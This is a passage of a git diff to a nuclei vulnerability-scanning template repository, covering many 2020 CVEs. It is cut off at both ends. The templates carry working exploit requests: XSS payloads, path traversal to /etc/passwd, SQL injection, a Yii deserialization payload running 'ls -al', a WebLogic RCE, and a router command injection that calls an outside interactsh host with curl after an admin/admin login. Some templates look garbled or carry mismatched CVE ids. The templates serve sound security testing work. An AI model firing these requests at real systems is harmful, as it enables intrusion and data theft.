"[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}" - condition: and - - - type: status - status: - - 200 -# digest: 4b0a00483046022100fd7131dcffc74549a5629b0211ba9459cc6162d5ad6fa5710a575f309318357a022100d4f405c6375093102e323cd6ce718b37d92e6ce34c95ef41aa028bbe3fd229f1:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2020/CVE-2020-14408.yaml b/nuclei-templates/CVE-2020/CVE-2020-14408.yaml new file mode 100644 index 0000000000..36f102aa68 --- /dev/null +++ b/nuclei-templates/CVE-2020/CVE-2020-14408.yaml @@ -0,0 +1,35 @@ +id: CVE-2020-14408 +info: + name: Agentejo Cockpit 0.10.2 - Reflected XSS + author: edoardottt + severity: medium + description: An issue was discovered in Agentejo Cockpit 0.10.2. Insufficient sanitization of the to parameter in the /auth/login route allows for injection of arbitrary JavaScript code into a web page's content, creating a Reflected XSS attack vector. + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2020-14408 + cwe-id: CWE-79 + reference: + - https://github.com/agentejo/cockpit/issues/1310 + - https://nvd.nist.gov/vuln/detail/CVE-2020-14408 + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14408 + metadata: + verified: true + tags: cve,cve2022,cockpit,agentejo,xss,oss +requests: + - method: GET + path: + - "{{BaseURL}}/auth/login?to=/92874%27;alert(document.domain)//280" + matchers-condition: and + matchers: + - type: word + part: body + words: + - "redirectTo = '/92874';alert(document.domain)//280';" + - type: word + part: header + words: + - "text/html" + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2020/CVE-2020-14815.yaml b/nuclei-templates/CVE-2020/CVE-2020-14815.yaml new file mode 100644 index 0000000000..e8b590b0f3 --- /dev/null +++ b/nuclei-templates/CVE-2020/CVE-2020-14815.yaml @@ -0,0 +1,26 @@ +id: CVE-2020-14815 + +info: + name: Oracle Business Intelligence XSS + author: pikpikcu + severity: medium + reference: https://www.oracle.com/security-alerts/cpuoct2020.html + tags: cve,cve2020,oracle,xss + + # https://twitter.com/HackerOn2Wheels/status/1326927875279380480 + +requests: + - method: GET + path: + - "{{BaseURL}}/bi-security-login/login.jsp?msi=false&redirect=%22%3E%3Cimg/src/onerror%3dalert(document.domain)%3E" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: word + words: + - "X-Oracle-Dms-Ecid:" + - "X-Oracle-Dms-Rid:" + part: header diff --git a/nuclei-templates/CVE-2020/CVE-2020-14882.yaml b/nuclei-templates/CVE-2020/CVE-2020-14882.yaml deleted file mode 100644 index 77a02b6920..0000000000 --- a/nuclei-templates/CVE-2020/CVE-2020-14882.yaml +++ /dev/null @@ -1,39 +0,0 @@ -id: CVE-2020-14882 - -info: - name: Oracle Weblogic Server - Remote Command Execution - author: dwisiswant0 - severity: critical - description: Oracle WebLogic Server contains an easily exploitable remote command execution vulnerability which allows unauthenticated attackers with network access via HTTP to compromise the server. - reference: - - https://testbnull.medium.com/weblogic-rce-by-only-one-get-request-cve-2020-14882-analysis-6e4b09981dbf - - https://www.oracle.com/security-alerts/cpuoct2020.html - - https://twitter.com/jas502n/status/1321416053050667009 - - https://youtu.be/JFVDOIL0YtA - - https://github.com/jas502n/CVE-2020-14882#eg - - https://nvd.nist.gov/vuln/detail/CVE-2020-14882 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2020-14882 - tags: cve,cve2020,oracle,rce,weblogic,oast - -requests: - - method: GET - path: - - "{{BaseURL}}/console/images/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext('http://{{interactsh-url}}')" - - matchers-condition: and - matchers: - - type: word - part: header - words: - - "ADMINCONSOLESESSION" - - - type: word - part: interactsh_protocol - words: - - "http" - - -# Enhanced by mp on 2022/04/27 diff --git a/nuclei-templates/CVE-2020/CVE-2020-15050.yaml b/nuclei-templates/CVE-2020/CVE-2020-15050.yaml deleted file mode 100644 index 2b51015c16..0000000000 --- a/nuclei-templates/CVE-2020/CVE-2020-15050.yaml +++ /dev/null @@ -1,42 +0,0 @@ -id: CVE-2020-15050 - -info: - name: Suprema BioStar <2.8.2 - Local File Inclusion - author: gy741 - severity: high - description: Suprema BioStar before 2.8.2 Video Extension allows remote attackers can read arbitrary files from the server via local file inclusion. - remediation: | - Upgrade Suprema BioStar to version 2.8.2 or later to fix the LFI vulnerability. - reference: - - http://packetstormsecurity.com/files/158576/Bio-Star-2.8.2-Local-File-Inclusion.html - - https://www.supremainc.com/en/support/biostar-2-pakage.asp - - https://nvd.nist.gov/vuln/detail/CVE-2020-15050 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2020-15050 - cwe-id: CWE-22 - epss-score: 0.282 - epss-percentile: 0.96359 - cpe: cpe:2.3:a:supremainc:biostar_2:*:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: supremainc - product: biostar_2 - tags: suprema,biostar2,packetstorm,cve,cve2020,lfi - -http: - - method: GET - path: - - "{{BaseURL}}/../../../../../../../../../../../../windows/win.ini" - - matchers: - - type: word - part: body - words: - - "bit app support" - - "fonts" - - "extensions" - condition: and - -# digest: 4a0a0047304502201748fe0517c240bb83ec0ec0965da564cd9e752f4eeb6b4827ae98679a70647f022100f08ae9e4be6d7e4ed791766f5739fc5d17fe7734f73a8caf02ae094a0e6af5b2:922c64590222798bb761d5b6d8e72950 diff --git a/nuclei-templates/CVE-2020/CVE-2020-15129.yaml b/nuclei-templates/CVE-2020/CVE-2020-15129.yaml deleted file mode 100644 index 2f13517b4a..0000000000 --- a/nuclei-templates/CVE-2020/CVE-2020-15129.yaml +++ /dev/null @@ -1,37 +0,0 @@ -id: CVE-2020-15129 - -info: - name: Open-redirect in Traefik - author: dwisiswant0 - severity: medium - description: There exists a potential open redirect vulnerability in Traefik's handling of the X-Forwarded-Prefix header. Active Exploitation of this issue is unlikely as it would require active header injection, however the Traefik team may want to address this issue nonetheless to prevent abuse in e.g. cache poisoning scenarios. - reference: - - https://securitylab.github.com/advisories/GHSL-2020-140-Containous-Traefik - - https://github.com/containous/traefik/releases/tag/v2.2.8 - - https://github.com/containous/traefik/pull/7109 - - https://github.com/containous/traefik/security/advisories/GHSA-6qq8-5wq3-86rp - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 4.7 - cve-id: CVE-2020-15129 - cwe-id: CWE-601 - tags: cve,cve2020,traefik,redirect - -requests: - - method: GET - path: - - "{{BaseURL}}" - - headers: - X-Forwarded-Prefix: "https://foo.nl" - - matchers-condition: and - matchers: - - type: status - status: - - 302 - - - type: word - part: body - words: - - "Found" diff --git a/nuclei-templates/CVE-2020/CVE-2020-15148.yaml b/nuclei-templates/CVE-2020/CVE-2020-15148.yaml deleted file mode 100644 index 34b71f6245..0000000000 --- a/nuclei-templates/CVE-2020/CVE-2020-15148.yaml +++ /dev/null @@ -1,42 +0,0 @@ -id: CVE-2020-15148 - -info: - name: Yii 2 < 2.0.38 - Remote Code Execution - author: pikpikcu - severity: critical - description: Yii 2 (yiisoft/yii2) before version 2.0.38 is vulnerable to remote code execution if the application calls `unserialize()` on arbitrary user input. - reference: - - https://blog.csdn.net/xuandao_ahfengren/article/details/111259943 - - https://github.com/nosafer/nosafer.github.io/blob/227a05f5eff69d32a027f15d6106c6d735124659/docs/Web%E5%AE%89%E5%85%A8/Yii2/%EF%BC%88CVE-2020-15148%EF%BC%89Yii2%E6%A1%86%E6%9E%B6%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E.md - - https://github.com/yiisoft/yii2/commit/9abccb96d7c5ddb569f92d1a748f50ee9b3e2b99 - - https://github.com/yiisoft/yii2/security/advisories/GHSA-699q-wcff-g9mj - remediation: Upgrade to version 2.0.38 or later. A possible workaround without upgrading is available in the linked advisory. - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - cvss-score: 10 - cve-id: CVE-2020-15148 - cwe-id: CWE-502 - cpe: cpe:2.3:a:yiiframework:yii:*:*:*:*:*:*:*:* - epss-score: 0.01843 - tags: cve,cve2020,rce,yii - metadata: - max-request: 1 - -http: - - method: GET - path: - - "{{BaseURL}}/index.php?r=test/sss&data=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6Njoic3lzdGVtIjtzOjI6ImlkIjtzOjY6ImxzIC1hbCI7fWk6MTtzOjM6InJ1biI7fX19fQ==" - - matchers-condition: and - matchers: - - type: word - words: - - "total" - - "An internal server error occurred." - condition: and - - - type: status - status: - - 500 - -# Enhanced by mp on 2022/04/27 diff --git a/nuclei-templates/CVE-2020/cve-2020-16270.yaml b/nuclei-templates/CVE-2020/CVE-2020-16270.yaml similarity index 100% rename from nuclei-templates/CVE-2020/cve-2020-16270.yaml rename to nuclei-templates/CVE-2020/CVE-2020-16270.yaml diff --git a/nuclei-templates/CVE-2020/CVE-2020-16846.yaml b/nuclei-templates/CVE-2020/CVE-2020-16846.yaml deleted file mode 100644 index 0855dd3f8e..0000000000 --- a/nuclei-templates/CVE-2020/CVE-2020-16846.yaml +++ /dev/null @@ -1,51 +0,0 @@ -id: CVE-2020-16846 - -info: - name: SaltStack <=3002 - Shell Injection - author: dwisiswant0 - severity: critical - description: | - SaltStack Salt through 3002 allows an unauthenticated user with network access to the Salt API to use shell injections to run code on the Salt-API using the SSH client. - reference: - - https://saltproject.io/on-november-3-2020-saltstack-publicly-disclosed-three-new-cves/ - - https://mp.weixin.qq.com/s/R8qw_lWizGyeJS0jOcYXag - - https://github.com/vulhub/vulhub/tree/master/saltstack/CVE-2020-16846 - - https://nvd.nist.gov/vuln/detail/CVE-2020-16846 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2020-16846 - cwe-id: CWE-78 - epss-score: 0.97535 - tags: vulhub,cve,cve2020,saltstack,kev - metadata: - max-request: 1 - -http: - - method: POST - path: - - "{{BaseURL}}/run" - body: "token=1337&client=ssh&tgt=*&fun=a&roster=projectdiscovery&ssh_priv=nuclei" - headers: - Content-Type: application/x-www-form-urlencoded # CherryPy will abort w/o define this header - - matchers-condition: and - matchers: - - type: word - part: body - words: - - "An unexpected error occurred" - - - type: dsl - dsl: - - regex("CherryPy\/([0-9.]+)", header) || regex("CherryPy ([0-9.]+)", body) - - - type: word - part: header - words: - - "application/json" - - - type: status - status: - - 500 -# Enhanced by mp on 2022/04/27 diff --git a/nuclei-templates/CVE-2019/cve-2019-16920.yaml b/nuclei-templates/CVE-2020/CVE-2020-16920.yaml similarity index 100% rename from nuclei-templates/CVE-2019/cve-2019-16920.yaml rename to nuclei-templates/CVE-2020/CVE-2020-16920.yaml diff --git a/nuclei-templates/CVE-2020/CVE-2020-16952.yaml b/nuclei-templates/CVE-2020/CVE-2020-16952.yaml deleted file mode 100644 index 09034350b3..0000000000 --- a/nuclei-templates/CVE-2020/CVE-2020-16952.yaml +++ /dev/null @@ -1,49 +0,0 @@ -id: CVE-2020-16952 - -info: - name: Microsoft SharePoint - Remote Code Execution - author: dwisiswant0 - severity: high - description: Microsoft SharePoint is vulnerable to a remote code execution when the software fails to check the source markup of an application package. - reference: - - https://srcincite.io/pocs/cve-2020-16952.py.txt - - https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16952 - - https://github.com/rapid7/metasploit-framework/blob/1a341ae93191ac5f6d8a9603aebb6b3a1f65f107/documentation/modules/exploit/windows/http/sharepoint_ssi_viewstate.md - - https://nvd.nist.gov/vuln/detail/CVE-2020-16952 - classification: - cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - cvss-score: 7.8 - cve-id: CVE-2020-16952 - cwe-id: CWE-346 - epss-score: 0.23324 - tags: msf,cve,cve2020,sharepoint,iis,microsoft,ssi,rce - metadata: - max-request: 1 - -http: - - method: GET - path: - - "{{BaseURL}}" - - matchers-condition: and - matchers: - - type: regex - part: body - regex: - - "15\\.0\\.0\\.(4571|5275|4351|5056)" - - "16\\.0\\.0\\.(10337|10364|10366)" - # - "16.0.10364.20001" - condition: or - - - type: regex - part: header - regex: - - "(?i)(Microsoftsharepointteamservices:)" - - - type: status - status: - - 200 - - 201 - condition: or - -# Enhanced by mp on 2022/07/13 diff --git a/nuclei-templates/CVE-2020/CVE-2020-17456.yaml b/nuclei-templates/CVE-2020/CVE-2020-17456.yaml deleted file mode 100644 index 8d4fa7417d..0000000000 --- a/nuclei-templates/CVE-2020/CVE-2020-17456.yaml +++ /dev/null @@ -1,72 +0,0 @@ -id: CVE-2020-17456 - -info: - name: SEOWON INTECH SLC-130 & SLR-120S - Unauthenticated Remote Code Execution - author: gy741,edoardottt - severity: critical - description: SEOWON INTECH SLC-130 and SLR-120S devices allow remote code execution via the ipAddr parameter to the system_log.cgi page. - remediation: | - Apply the latest firmware update provided by the vendor to mitigate this vulnerability. - reference: - - https://maj0rmil4d.github.io/Seowon-SlC-130-And-SLR-120S-Exploit/ - - https://nvd.nist.gov/vuln/detail/CVE-2020-17456 - - http://packetstormsecurity.com/files/158933/Seowon-SlC-130-Router-Remote-Code-Execution.html - - http://packetstormsecurity.com/files/166273/Seowon-SLR-120-Router-Remote-Code-Execution.html - - https://www.exploit-db.com/exploits/50821 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2020-17456 - cwe-id: CWE-78 - epss-score: 0.97074 - epss-percentile: 0.99709 - cpe: cpe:2.3:o:seowonintech:slc-130_firmware:-:*:*:*:*:*:*:* - metadata: - max-request: 2 - vendor: seowonintech - product: slc-130_firmware - tags: seowon,cve2020,oast,packetstorm,rce,router,unauth,iot,cve -variables: - useragent: '{{rand_base(6)}}' - -http: - - raw: - - | - POST /cgi-bin/login.cgi HTTP/1.1 - Host: {{Hostname}} - Origin: {{BaseURL}} - Referer: {{BaseURL}} - Content-Type: application/x-www-form-urlencoded - - browserTime=081119502020¤tTime=1597159205&expires=Wed%252C%2B12%2BAug%2B2020%2B15%253A20%253A05%2BGMT&Command=Submit&user=admin&password=admin - - | - POST /cgi-bin/system_log.cgi HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - Command=Diagnostic&traceMode=ping&reportIpOnly=&pingIpAddr=;curl+http%3a//{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'&pingPktSize=56&pingTimeout=30&pingCount=4&maxTTLCnt=30&queriesCnt=3&reportIpOnlyCheckbox=on&logarea=com.cgi&btnApply=Apply&T=1646950471018 - - cookie-reuse: true - - matchers-condition: and - matchers: - - type: word - part: interactsh_protocol - words: - - "http" - - - type: word - part: interactsh_request - words: - - "User-Agent: {{useragent}}" - - - type: word - part: header - words: - - "text/html" - - - type: status - status: - - 200 - -# digest: 4a0a0047304502207efe0e5176d8b7d54f1dda7435cf09de296c0603142b0b3cafc19e0ac334d3e2022100e45da5c829c62d576a067a9de1f1d6f5e1eb96aaeb6f56b8604bd7df5765d874:922c64590222798bb761d5b6d8e72950 diff --git a/nuclei-templates/CVE-2020/CVE-2020-17518.yaml b/nuclei-templates/CVE-2020/CVE-2020-17518.yaml new file mode 100644 index 0000000000..92ed6e04a7 --- /dev/null +++ b/nuclei-templates/CVE-2020/CVE-2020-17518.yaml @@ -0,0 +1,50 @@ +id: CVE-2020-17518 + +info: + name: Apache Flink 1.5.1 - Local File Inclusion + author: pdteam + severity: high + description: | + Apache Flink 1.5.1 is vulnerable to local file inclusion because of a REST handler that allows file uploads to an arbitrary location on the local file system through a maliciously modified HTTP HEADER. + reference: + - https://github.com/vulhub/vulhub/tree/master/flink/CVE-2020-17518 + - https://lists.apache.org/thread.html/rb43cd476419a48be89c1339b527a18116f23eec5b6df2b2acbfef261%40%3Cdev.flink.apache.org%3E + - https://lists.apache.org/thread.html/rb43cd476419a48be89c1339b527a18116f23eec5b6df2b2acbfef261@%3Cuser.flink.apache.org%3E + - https://lists.apache.org/thread.html/rb43cd476419a48be89c1339b527a18116f23eec5b6df2b2acbfef261@%3Cdev.flink.apache.org%3E + - https://nvd.nist.gov/vuln/detail/CVE-2020-17518 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N + cvss-score: 7.5 + cve-id: CVE-2020-17518 + cwe-id: CWE-22 + cpe: cpe:2.3:a:apache:flink:*:*:*:*:*:*:*:* + epss-score: 0.97462 + tags: lfi,flink,fileupload,vulhub,cve,cve2020,apache,intrusive + metadata: + max-request: 2 + + +http: + - raw: + - | + POST /jars/upload HTTP/1.1 + Host: {{Hostname}} + Accept: */* + Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y + + ------WebKitFormBoundaryoZ8meKnrrso89R6Y + Content-Disposition: form-data; name="jarfile"; filename="../../../../../../../tmp/poc" + + test-poc + ------WebKitFormBoundaryoZ8meKnrrso89R6Y-- + + - method: GET + path: + - '{{BaseURL}}/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252ftmp%252fpoc' + + matchers: + - type: dsl + dsl: + - 'contains(body, "test-poc") && status_code == 200' # Using CVE-2020-17519 to confirm this. + +# Enhanced by mp on 2022/07/13 diff --git a/nuclei-templates/CVE-2020/CVE-2020-17519.yaml b/nuclei-templates/CVE-2020/CVE-2020-17519.yaml deleted file mode 100644 index 1585625f0b..0000000000 --- a/nuclei-templates/CVE-2020/CVE-2020-17519.yaml +++ /dev/null @@ -1,32 +0,0 @@ -id: CVE-2020-17519 - -info: - name: Apache Flink directory traversal - author: pdteam - severity: high - description: A change introduced in Apache Flink 1.11.0 (and released in 1.11.1 and 1.11.2 as well) allows attackers to read any file on the local filesystem of the JobManager through the REST interface of the JobManager process. - reference: - - https://github.com/B1anda0/CVE-2020-17519 - - https://lists.apache.org/thread.html/r6843202556a6d0bce9607ebc02e303f68fc88e9038235598bde3b50d%40%3Cdev.flink.apache.org%3E - - https://lists.apache.org/thread.html/r6843202556a6d0bce9607ebc02e303f68fc88e9038235598bde3b50d@%3Cdev.flink.apache.org%3E - - https://lists.apache.org/thread.html/r6843202556a6d0bce9607ebc02e303f68fc88e9038235598bde3b50d@%3Cuser.flink.apache.org%3E - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2020-17519 - cwe-id: CWE-552 - tags: cve,cve2020,apache,lfi,flink - -requests: - - method: GET - path: - - "{{BaseURL}}/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd" - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: regex - regex: - - "root:.*:0:0:" - part: body diff --git a/nuclei-templates/CVE-2020/CVE-2020-2096.yaml b/nuclei-templates/CVE-2020/CVE-2020-2096.yaml new file mode 100644 index 0000000000..9db83ecdaa --- /dev/null +++ b/nuclei-templates/CVE-2020/CVE-2020-2096.yaml @@ -0,0 +1,46 @@ +id: CVE-2020-2096 + +info: + name: Jenkins Gitlab Hook <=1.4.2 - Cross-Site Scripting + author: madrobot + severity: medium + description: Jenkins Gitlab Hook 1.4.2 and earlier does not escape project names in the build_now endpoint, resulting in a reflected cross-site scripting vulnerability. + reference: + - https://jenkins.io/security/advisory/2020-01-15/#SECURITY-1683 + - http://www.openwall.com/lists/oss-security/2020/01/15/1 + - http://packetstormsecurity.com/files/155967/Jenkins-Gitlab-Hook-1.4.2-Cross-Site-Scripting.html + - https://nvd.nist.gov/vuln/detail/CVE-2020-2096 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2020-2096 + cwe-id: CWE-79 + cpe: cpe:2.3:a:jenkins:gitlab_hook:*:*:*:*:*:*:*:* + epss-score: 0.97056 + metadata: + max-request: 1 + shodan-query: http.title:"GitLab" + tags: jenkins,xss,gitlab,plugin,packetstorm,cve,cve2020 + +http: + - method: GET + path: + - "{{BaseURL}}/gitlab/build_now%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + part: body + words: + - "" + + - type: word + part: header + words: + - text/html + +# Enhanced by mp on 2022/08/14 diff --git a/nuclei-templates/CVE-2020/CVE-2020-20988.yaml b/nuclei-templates/CVE-2020/CVE-2020-20988.yaml new file mode 100644 index 0000000000..3068593902 --- /dev/null +++ b/nuclei-templates/CVE-2020/CVE-2020-20988.yaml @@ -0,0 +1,43 @@ +id: CVE-2020-20988 +info: + name: DomainMOD 4.13.0 - Cross-Site Scripting + author: arafatansari + severity: medium + description: | + DomainMOD 4.13.0 is vulnerable to Cross Site Scripting (XSS) via reporting/domains/cost-by-owner.php in "or Expiring Between" parameter. + reference: + - https://mycvee.blogspot.com/p/xss2.html + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N + cvss-score: 5.4 + cve-id: CVE-2020-20988 + cwe-id: CWE-79 + metadata: + verified: "true" + tags: cve,cve2020,domainmod,xss,authenticated +requests: + - raw: + - | + POST / HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + new_username={{username}}&new_password={{password}} + - | + POST /reporting/domains/cost-by-owner.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + daterange=%22%2F%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E + cookie-reuse: true + req-condition: true + redirects: true + max-redirects: 2 + matchers: + - type: dsl + dsl: + - 'status_code_2 == 200' + - 'contains(all_headers_2, "text/html")' + - 'contains(body_2, "value=\"\"/>")' + - 'contains(body_2, "DomainMOD")' + condition: and diff --git a/nuclei-templates/CVE-2020/CVE-2020-2103.yaml b/nuclei-templates/CVE-2020/CVE-2020-2103.yaml new file mode 100644 index 0000000000..84373917d5 --- /dev/null +++ b/nuclei-templates/CVE-2020/CVE-2020-2103.yaml @@ -0,0 +1,63 @@ +id: CVE-2020-2103 + +info: + name: Jenkins <=2.218 - Information Disclosure + author: c-sh0 + severity: medium + description: Jenkins through 2.218, LTS 2.204.1 and earlier, is susceptible to information disclosure. An attacker can access exposed session identifiers on a user detail object in the whoAmI diagnostic page and thus potentially access sensitive information, modify data, and/or execute unauthorized operations. + reference: + - https://www.jenkins.io/security/advisory/2020-01-29/#SECURITY-1695 + - https://jenkins.io/security/advisory/2020-01-29/#SECURITY-1695 + - http://www.openwall.com/lists/oss-security/2020/01/29/1 + - https://nvd.nist.gov/vuln/detail/CVE-2020-2103 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N + cvss-score: 5.4 + cve-id: CVE-2020-2103 + cwe-id: CWE-200 + cpe: cpe:2.3:a:jenkins:jenkins:*:*:*:*:*:*:*:* + epss-score: 0.00535 + metadata: + max-request: 2 + shodan-query: http.favicon.hash:81586312 + tags: cve,cve2020,jenkins + +http: + - raw: + - | + GET {{BaseURL}}/whoAmI/ HTTP/1.1 + Host: {{Hostname}} + + - | + GET {{BaseURL}}/whoAmI/ HTTP/1.1 + Host: {{Hostname}} + + cookie-reuse: true + req-condition: true + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + part: header + words: + - 'text/html' + - 'x-jenkins' + condition: and + case-insensitive: true + + - type: word + part: body_2 + words: + - 'Cookie' + - 'SessionId: null' + condition: and + + extractors: + - type: kval + kval: + - x_jenkins + +# Enhanced by md on 2023/04/04 diff --git a/nuclei-templates/CVE-2020/CVE-2020-22208.yaml b/nuclei-templates/CVE-2020/CVE-2020-22208.yaml new file mode 100644 index 0000000000..f447227d0e --- /dev/null +++ b/nuclei-templates/CVE-2020/CVE-2020-22208.yaml @@ -0,0 +1,32 @@ +id: CVE-2020-22208 +info: + name: 74cms - ajax_street.php 'x' SQL Injection + author: ritikchaddha + severity: critical + description: | + SQL Injection in 74cms 3.2.0 via the x parameter to plus/ajax_street.php. + reference: + - https://github.com/blindkey/cve_like/issues/10 + - https://nvd.nist.gov/vuln/detail/CVE-2020-22208 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2020-22210 + cwe-id: CWE-89 + metadata: + fofa-query: app="74cms" + shodan-query: http.html:"74cms" + tags: cve,cve2020,74cms,sqli +variables: + num: "999999999" +requests: + - method: GET + path: + - '{{BaseURL}}/plus/ajax_street.php?act=alphabet&x=11�%27%20union%20select%201,2,3,concat(0x3C2F613E20),5,6,7,md5({{num}}),9%20from%20qs_admin#' + matchers: + - type: word + part: body + words: + - '{{md5({{num}})}}' + +# Enhanced by cs on 2022/06/21 diff --git a/nuclei-templates/CVE-2020/CVE-2020-22209.yaml b/nuclei-templates/CVE-2020/CVE-2020-22209.yaml new file mode 100644 index 0000000000..11b4a0a9a7 --- /dev/null +++ b/nuclei-templates/CVE-2020/CVE-2020-22209.yaml @@ -0,0 +1,32 @@ +id: CVE-2020-22209 +info: + name: 74cms - ajax_common.php SQL Injection + author: ritikchaddha + severity: critical + description: | + SQL Injection in 74cms 3.2.0 via the query parameter to plus/ajax_common.php. + reference: + - https://github.com/blindkey/cve_like/issues/12 + - https://nvd.nist.gov/vuln/detail/CVE-2020-22209 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2020-22210 + cwe-id: CWE-89 + metadata: + fofa-query: app="74cms" + shodan-query: http.html:"74cms" + tags: cve,cve2020,74cms,sqli +variables: + num: "999999999" +requests: + - method: GET + path: + - '{{BaseURL}}/plus/ajax_common.php?act=hotword&query=aa%錦%27%20union%20select%201,md5({{num}}),3%23%27' + matchers: + - type: word + part: body + words: + - '{{md5({{num}})}}' + +# Enhanced by cs on 2022/06/21 diff --git a/nuclei-templates/CVE-2020/CVE-2020-22840.yaml b/nuclei-templates/CVE-2020/CVE-2020-22840.yaml deleted file mode 100644 index a642e28b21..0000000000 --- a/nuclei-templates/CVE-2020/CVE-2020-22840.yaml +++ /dev/null @@ -1,28 +0,0 @@ -id: CVE-2020-22840 - -info: - name: b2evolution CMS - Open Redirect - author: geeknik - severity: medium - description: Open redirect vulnerability in b2evolution CMS version prior to 6.11.6 allows an attacker to perform malicious open redirects to an attacker controlled resource via redirect_to parameter in email_passthrough.php. - reference: - - https://github.com/b2evolution/b2evolution/issues/102 - - http://packetstormsecurity.com/files/161362/b2evolution-CMS-6.11.6-Open-Redirection.html - - https://www.exploit-db.com/exploits/49554 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2020-22840 - cwe-id: CWE-601 - tags: cve,cve2020,redirect,b2evolution - -requests: - - method: GET - path: - - "{{BaseURL}}/email_passthrough.php?email_ID=1&type=link&email_key=5QImTaEHxmAzNYyYvENAtYHsFu7fyotR&redirect_to=http%3A%2F%2Fexample.com" - - matchers: - - type: regex - regex: - - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_]*\.)?example\.com(?:\s*?)$' - part: header diff --git a/nuclei-templates/CVE-2020/CVE-2020-23517.yaml b/nuclei-templates/CVE-2020/CVE-2020-23517.yaml deleted file mode 100644 index 644463c4a1..0000000000 --- a/nuclei-templates/CVE-2020/CVE-2020-23517.yaml +++ /dev/null @@ -1,33 +0,0 @@ -id: CVE-2020-23517 - -info: - name: Aryanic HighMail (High CMS) Cross-Site Scripting - author: geeknik - severity: medium - description: A cross-site scripting vulnerability in Aryanic HighMail (High CMS) versions 2020 and before allows remote attackers to inject arbitrary web script or HTML, via 'user' to LoginForm. - reference: - - https://nvd.nist.gov/vuln/detail/CVE-2020-23517 - - https://vulnerabilitypublishing.blogspot.com/2021/03/aryanic-highmail-high-cms-reflected.html - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2020-23517 - cwe-id: CWE-79 - tags: xss,cve,cve2020 - -requests: - - method: GET - path: - - "{{BaseURL}}/login/?uid=\">" - - matchers-condition: and - matchers: - - type: word - words: - - text/html - part: header - - type: word - words: - - "' - part: body - - type: word - words: - - "text/html" - part: header - -# Enhanced by mp on 2022/05/04 diff --git a/nuclei-templates/CVE-2020/CVE-2020-24391.yaml b/nuclei-templates/CVE-2020/CVE-2020-24391.yaml deleted file mode 100644 index 